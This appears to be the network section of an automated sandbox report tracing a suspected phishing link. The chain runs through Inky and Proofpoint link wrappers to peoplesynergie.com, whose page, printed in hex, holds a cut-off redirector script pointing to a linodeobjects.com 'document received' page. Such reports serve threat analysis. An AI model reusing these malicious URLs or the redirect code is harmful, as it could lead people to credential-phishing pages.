Aug 14, 2024 04:14:42.613636971 CEST	63521	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:42.614187956 CEST	59659	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:42.616520882 CEST	63295	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:42.618160009 CEST	53	55967	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:42.620297909 CEST	53	63521	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:42.639945984 CEST	53	63295	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:43.811958075 CEST	54930	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:43.812098980 CEST	50442	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:43.812783957 CEST	58769	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:43.812943935 CEST	60249	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:43.818897963 CEST	53	50442	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:43.818912029 CEST	53	54930	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:43.820090055 CEST	53	58769	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:43.822897911 CEST	53	60249	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:44.638365984 CEST	54959	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:44.638624907 CEST	62118	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:44.645179987 CEST	53	54959	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:44.645262957 CEST	53	62118	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:46.291019917 CEST	59117	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:46.291512012 CEST	53740	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:46.372323036 CEST	53	59117	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:46.413655043 CEST	63715	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:46.414103031 CEST	60745	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:46.420454979 CEST	53	63715	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:46.421189070 CEST	53	60745	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:46.432524920 CEST	138	138	192.168.2.4	192.168.2.255
Aug 14, 2024 04:14:46.458950043 CEST	53	53740	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:49.953324080 CEST	57134	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:49.953481913 CEST	52012	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:49.954128027 CEST	53	61463	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:49.961090088 CEST	53	57134	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:49.961379051 CEST	53	52012	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:49.968441963 CEST	55369	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:49.968578100 CEST	64900	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:50.128087044 CEST	53	64900	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:50.136570930 CEST	53	55369	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:51.282463074 CEST	55189	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:51.282651901 CEST	58831	53	192.168.2.4	1.1.1.1
Aug 14, 2024 04:14:51.290060997 CEST	53	55189	1.1.1.1	192.168.2.4
Aug 14, 2024 04:14:51.290095091 CEST	53	58831	1.1.1.1	192.168.2.4
Aug 14, 2024 04:15:09.070348024 CEST	53	53078	1.1.1.1	192.168.2.4
Aug 14, 2024 04:15:31.114800930 CEST	53	53227	1.1.1.1	192.168.2.4
Aug 14, 2024 04:15:31.475542068 CEST	53	55539	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Aug 14, 2024 04:14:46.459121943 CEST	192.168.2.4	1.1.1.1	c22f	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 14, 2024 04:14:32.899041891 CEST	192.168.2.4	1.1.1.1	0x1593	Standard query (0)	shared.outlook.inky.com	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:32.899203062 CEST	192.168.2.4	1.1.1.1	0xbdb3	Standard query (0)	shared.outlook.inky.com	65	IN (0x0001)	false
Aug 14, 2024 04:14:35.358867884 CEST	192.168.2.4	1.1.1.1	0xf55	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:35.359357119 CEST	192.168.2.4	1.1.1.1	0xe93c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Aug 14, 2024 04:14:36.732314110 CEST	192.168.2.4	1.1.1.1	0x1506	Standard query (0)	urldefense.proofpoint.com	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:36.732800007 CEST	192.168.2.4	1.1.1.1	0x67	Standard query (0)	urldefense.proofpoint.com	65	IN (0x0001)	false
Aug 14, 2024 04:14:37.538465023 CEST	192.168.2.4	1.1.1.1	0xd95b	Standard query (0)	peoplesynergie.com	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:37.538952112 CEST	192.168.2.4	1.1.1.1	0xe2a4	Standard query (0)	peoplesynergie.com	65	IN (0x0001)	false
Aug 14, 2024 04:14:42.611433029 CEST	192.168.2.4	1.1.1.1	0xbd1d	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:42.613636971 CEST	192.168.2.4	1.1.1.1	0xd5b8	Standard query (0)	google.com	65	IN (0x0001)	false
Aug 14, 2024 04:14:42.614187956 CEST	192.168.2.4	1.1.1.1	0x4259	Standard query (0)	documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:42.616520882 CEST	192.168.2.4	1.1.1.1	0xb062	Standard query (0)	documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com	65	IN (0x0001)	false
Aug 14, 2024 04:14:43.811958075 CEST	192.168.2.4	1.1.1.1	0xb9ac	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:43.812098980 CEST	192.168.2.4	1.1.1.1	0x4181	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Aug 14, 2024 04:14:43.812783957 CEST	192.168.2.4	1.1.1.1	0xc627	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:43.812943935 CEST	192.168.2.4	1.1.1.1	0x5279	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Aug 14, 2024 04:14:44.638365984 CEST	192.168.2.4	1.1.1.1	0x5956	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:44.638624907 CEST	192.168.2.4	1.1.1.1	0xfd3	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Aug 14, 2024 04:14:46.291019917 CEST	192.168.2.4	1.1.1.1	0xbc96	Standard query (0)	novateche.com.ru	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:46.291512012 CEST	192.168.2.4	1.1.1.1	0x1f38	Standard query (0)	novateche.com.ru	65	IN (0x0001)	false
Aug 14, 2024 04:14:46.413655043 CEST	192.168.2.4	1.1.1.1	0x455a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:46.414103031 CEST	192.168.2.4	1.1.1.1	0xaf58	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Aug 14, 2024 04:14:49.953324080 CEST	192.168.2.4	1.1.1.1	0xdf47	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:49.953481913 CEST	192.168.2.4	1.1.1.1	0x937e	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Aug 14, 2024 04:14:49.968441963 CEST	192.168.2.4	1.1.1.1	0x7d78	Standard query (0)	novateche.com.ru	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:49.968578100 CEST	192.168.2.4	1.1.1.1	0x88be	Standard query (0)	novateche.com.ru	65	IN (0x0001)	false
Aug 14, 2024 04:14:51.282463074 CEST	192.168.2.4	1.1.1.1	0x8199	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:51.282651901 CEST	192.168.2.4	1.1.1.1	0x74bd	Standard query (0)	code.jquery.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 14, 2024 04:14:32.918035984 CEST	1.1.1.1	192.168.2.4	0xbdb3	No error (0)	shared.outlook.inky.com	analysis-web-prod-960355706.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 14, 2024 04:14:32.918812037 CEST	1.1.1.1	192.168.2.4	0x1593	No error (0)	shared.outlook.inky.com	analysis-web-prod-960355706.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 14, 2024 04:14:32.918812037 CEST	1.1.1.1	192.168.2.4	0x1593	No error (0)	analysis-web-prod-960355706.us-east-1.elb.amazonaws.com		3.233.34.230	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:32.918812037 CEST	1.1.1.1	192.168.2.4	0x1593	No error (0)	analysis-web-prod-960355706.us-east-1.elb.amazonaws.com		3.225.254.154	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:35.365787983 CEST	1.1.1.1	192.168.2.4	0xf55	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:35.366013050 CEST	1.1.1.1	192.168.2.4	0xe93c	No error (0)	www.google.com			65	IN (0x0001)	false
Aug 14, 2024 04:14:36.740422964 CEST	1.1.1.1	192.168.2.4	0x67	No error (0)	urldefense.proofpoint.com	urldefense.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 14, 2024 04:14:36.753642082 CEST	1.1.1.1	192.168.2.4	0x1506	No error (0)	urldefense.proofpoint.com	urldefense.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 14, 2024 04:14:36.753642082 CEST	1.1.1.1	192.168.2.4	0x1506	No error (0)	urldefense.com		52.71.28.102	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:36.753642082 CEST	1.1.1.1	192.168.2.4	0x1506	No error (0)	urldefense.com		52.204.90.22	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:36.753642082 CEST	1.1.1.1	192.168.2.4	0x1506	No error (0)	urldefense.com		52.6.56.188	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:38.115806103 CEST	1.1.1.1	192.168.2.4	0xd95b	No error (0)	peoplesynergie.com		103.134.152.12	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:42.618160009 CEST	1.1.1.1	192.168.2.4	0xbd1d	No error (0)	google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:42.620297909 CEST	1.1.1.1	192.168.2.4	0xd5b8	No error (0)	google.com			65	IN (0x0001)	false
Aug 14, 2024 04:14:42.636682987 CEST	1.1.1.1	192.168.2.4	0x4259	No error (0)	documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com	nl-ams-1.linodeobjects.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 14, 2024 04:14:42.636682987 CEST	1.1.1.1	192.168.2.4	0x4259	No error (0)	nl-ams-1.linodeobjects.com	nl-ams-1.linodeobjects.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 14, 2024 04:14:42.639945984 CEST	1.1.1.1	192.168.2.4	0xb062	No error (0)	documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com	nl-ams-1.linodeobjects.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 14, 2024 04:14:42.639945984 CEST	1.1.1.1	192.168.2.4	0xb062	No error (0)	nl-ams-1.linodeobjects.com	nl-ams-1.linodeobjects.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 14, 2024 04:14:43.818897963 CEST	1.1.1.1	192.168.2.4	0x4181	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Aug 14, 2024 04:14:43.818912029 CEST	1.1.1.1	192.168.2.4	0xb9ac	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:43.818912029 CEST	1.1.1.1	192.168.2.4	0xb9ac	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:43.820090055 CEST	1.1.1.1	192.168.2.4	0xc627	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:43.820090055 CEST	1.1.1.1	192.168.2.4	0xc627	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:43.822897911 CEST	1.1.1.1	192.168.2.4	0x5279	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Aug 14, 2024 04:14:44.645179987 CEST	1.1.1.1	192.168.2.4	0x5956	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:44.645179987 CEST	1.1.1.1	192.168.2.4	0x5956	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:44.645262957 CEST	1.1.1.1	192.168.2.4	0xfd3	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Aug 14, 2024 04:14:46.372323036 CEST	1.1.1.1	192.168.2.4	0xbc96	No error (0)	novateche.com.ru		172.67.194.21	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:46.372323036 CEST	1.1.1.1	192.168.2.4	0xbc96	No error (0)	novateche.com.ru		104.21.20.190	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:46.420454979 CEST	1.1.1.1	192.168.2.4	0x455a	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:46.420454979 CEST	1.1.1.1	192.168.2.4	0x455a	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:46.421189070 CEST	1.1.1.1	192.168.2.4	0xaf58	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Aug 14, 2024 04:14:46.458950043 CEST	1.1.1.1	192.168.2.4	0x1f38	No error (0)	novateche.com.ru			65	IN (0x0001)	false
Aug 14, 2024 04:14:47.808617115 CEST	1.1.1.1	192.168.2.4	0xf15b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:47.808617115 CEST	1.1.1.1	192.168.2.4	0xf15b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:49.961090088 CEST	1.1.1.1	192.168.2.4	0xdf47	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:49.961090088 CEST	1.1.1.1	192.168.2.4	0xdf47	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:49.961090088 CEST	1.1.1.1	192.168.2.4	0xdf47	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:49.961090088 CEST	1.1.1.1	192.168.2.4	0xdf47	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:49.970401049 CEST	1.1.1.1	192.168.2.4	0xd35f	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 14, 2024 04:14:49.970401049 CEST	1.1.1.1	192.168.2.4	0xd35f	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:50.128087044 CEST	1.1.1.1	192.168.2.4	0x88be	No error (0)	novateche.com.ru			65	IN (0x0001)	false
Aug 14, 2024 04:14:50.136570930 CEST	1.1.1.1	192.168.2.4	0x7d78	No error (0)	novateche.com.ru		172.67.194.21	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:50.136570930 CEST	1.1.1.1	192.168.2.4	0x7d78	No error (0)	novateche.com.ru		104.21.20.190	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:51.290060997 CEST	1.1.1.1	192.168.2.4	0x8199	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:51.290060997 CEST	1.1.1.1	192.168.2.4	0x8199	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:51.290060997 CEST	1.1.1.1	192.168.2.4	0x8199	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:14:51.290060997 CEST	1.1.1.1	192.168.2.4	0x8199	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:15:02.337605000 CEST	1.1.1.1	192.168.2.4	0x4389	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 14, 2024 04:15:02.337605000 CEST	1.1.1.1	192.168.2.4	0x4389	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:15:24.179028034 CEST	1.1.1.1	192.168.2.4	0x9aaf	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 14, 2024 04:15:24.179028034 CEST	1.1.1.1	192.168.2.4	0x9aaf	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Aug 14, 2024 04:15:44.146893978 CEST	1.1.1.1	192.168.2.4	0x1aba	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 14, 2024 04:15:44.146893978 CEST	1.1.1.1	192.168.2.4	0x1aba	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

shared.outlook.inky.com

urldefense.proofpoint.com

fs.microsoft.com

peoplesynergie.com

https:

challenges.cloudflare.com

cdnjs.cloudflare.com

novateche.com.ru

code.jquery.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	3.233.34.230	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:33 UTC	1303	OUT	GET /link?domain=urldefense.proofpoint.com&t=h.eJxdkE1TgzAYhP-Kw4GTLYSPBjrDaC3Wj0Iram31wiBJkBaSEAKIjv_d0oMHb---u_PszH4rjSiU6ZnyISWvp5p2lAgTTGs85oIxwllO5ThlpdYag3nReKfoyJzFMceMF7juKRZZjodULEseq8jzu3CRRGrq4ebmrZZp8uwXRZuX1yvnHe53oqvWZNTas3iOeEZfSJ6HoSq8rQ2D2x2bbx8tbKysTWv6b19PM74Ck-px9B6t73NUrXYb0WVq6e39SEQ3h9j6cLrFIgLVchM_xLgJpG8G_WTmb5Af0O3nYhuGsAp9uS-NXXVVtdd51Aa6qdZeCLJ2FGV395IHYXcQa6tPno3CYfDztdHnd6_LeW_21cuXo6vYU87PlMOwFsWSiYxICKFhuq6WEZHQA2FCXv5dCUU1o_VpuwS4gLhoMkEWcAyiIxumpgF1ABNTR8DSwJFjO8C23DF0hxo81JxYl6nEKMNdIrEYYIOLBvf__-cXvb2YkA.MEYCIQDlWYmC9YWqLwzGo1_Uz-5wC3tKqjhwYdDjRwRlhUS1MgIhAIacU_ZjLEOwuLoud4iCkwdAfjTkcppBULGpCRVOxW_P HTTP/1.1 Host: shared.outlook.inky.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-14 02:14:36 UTC	1005	IN	HTTP/1.1 303 See Other Date: Wed, 14 Aug 2024 02:14:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: AWSALB=ViVm5ibg6F6DUY9hjU2FPByyBRTUfzXSKp1zPRFPl/Rl8aTsQ42MGCuWvOyfKN5qVfwxizvh8TF9+Rgr6+vryy+pWY787GRzCyK8Jcp+v24fq4jpB1Z3l4k13Uja; Expires=Wed, 21 Aug 2024 02:14:33 GMT; Path=/ Set-Cookie: AWSALBCORS=ViVm5ibg6F6DUY9hjU2FPByyBRTUfzXSKp1zPRFPl/Rl8aTsQ42MGCuWvOyfKN5qVfwxizvh8TF9+Rgr6+vryy+pWY787GRzCyK8Jcp+v24fq4jpB1Z3l4k13Uja; Expires=Wed, 21 Aug 2024 02:14:33 GMT; Path=/; SameSite=None; Secure X-Frame-Options: deny Strict-Transport-Security: max-age=31536000; includeSubDomains; X-XSS-Protection: 1; mode=block X-Robots-Tag: noindex, nofollow Location: https://urldefense.proofpoint.com/v2/url?u=https-3A__peoplesynergie.com_tmp_&d=DwMFaQ&c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&r=W57LHXoCWR4e2N4Uv3DZzSApN16qR-bQOJidqNXUrwg&m=jDQrQGk_4h8wFFQ1qKU_P_euLtD3Ly6ADUdDLnWxFWMM7qMDtjm2XqBqvEiQvL03&s=M1gv-QgIJtpLMwkrO4yaT2l8o7xYu0CIYKCy3yqVz80&e=
2024-08-14 02:14:36 UTC	18	IN	Data Raw: 64 0d 0a 33 30 33 20 53 65 65 20 4f 74 68 65 72 0d 0a Data Ascii: d303 See Other
2024-08-14 02:14:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	52.71.28.102	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:37 UTC	927	OUT	GET /v2/url?u=https-3A__peoplesynergie.com_tmp_&d=DwMFaQ&c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&r=W57LHXoCWR4e2N4Uv3DZzSApN16qR-bQOJidqNXUrwg&m=jDQrQGk_4h8wFFQ1qKU_P_euLtD3Ly6ADUdDLnWxFWMM7qMDtjm2XqBqvEiQvL03&s=M1gv-QgIJtpLMwkrO4yaT2l8o7xYu0CIYKCy3yqVz80&e= HTTP/1.1 Host: urldefense.proofpoint.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-14 02:14:37 UTC	359	IN	HTTP/1.1 302 Found Date: Wed, 14 Aug 2024 02:14:37 GMT Content-Length: 0 Connection: close Location: https://peoplesynergie.com/tmp/ Strict-Transport-Security: max-age=31536000 X-Robots-Tag: noindex, nofollow X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src 'self';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:37 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-14 02:14:37 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (paa/6F76) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=202896 Date: Wed, 14 Aug 2024 02:14:37 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:38 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-14 02:14:38 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=225005 Date: Wed, 14 Aug 2024 02:14:38 GMT Content-Length: 55 Connection: close X-CID: 2
2024-08-14 02:14:38 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	103.134.152.12	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:39 UTC	665	OUT	GET /tmp/ HTTP/1.1 Host: peoplesynergie.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-14 02:14:42 UTC	336	IN	HTTP/1.1 200 OK Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 881 Date: Wed, 14 Aug 2024 02:14:41 GMT Server: LiteSpeed Alt-Svc: quic=":443"; ma=2592000; v="43,46", h3-Q043=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-25=":443"; ma=2592000, h3-27=":443"; ma=2592000
2024-08-14 02:14:42 UTC	881	IN	Data Raw: 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 6d 61 69 6e 5f 6c 69 6e 6b 20 3d 20 22 68 74 74 70 73 3a 2f 2f 64 6f 63 75 6d 65 6e 74 72 65 63 65 69 76 65 64 76 69 72 74 75 61 6c 6c 79 2d 70 6f 72 74 61 6c 2d 70 72 65 76 69 65 77 2e 6e 6c 2d 61 6d 73 2d 31 2e 6c 69 6e 6f 64 65 6f 62 6a 65 63 74 73 2e 63 6f 6d 2f 69 6e 64 65 78 2e 68 74 6d 6c 22 3b 0a 0a 0a 20 20 20 20 69 66 20 28 21 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 29 20 7b 0a 20 20 20 20 20 20 20 20 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 22 68 74 74 70 73 3a 2f 2f 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3b 0a 20 20 20 20 7d 0a 20 20 20 20 76 61 72 20 66 72 61 67 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 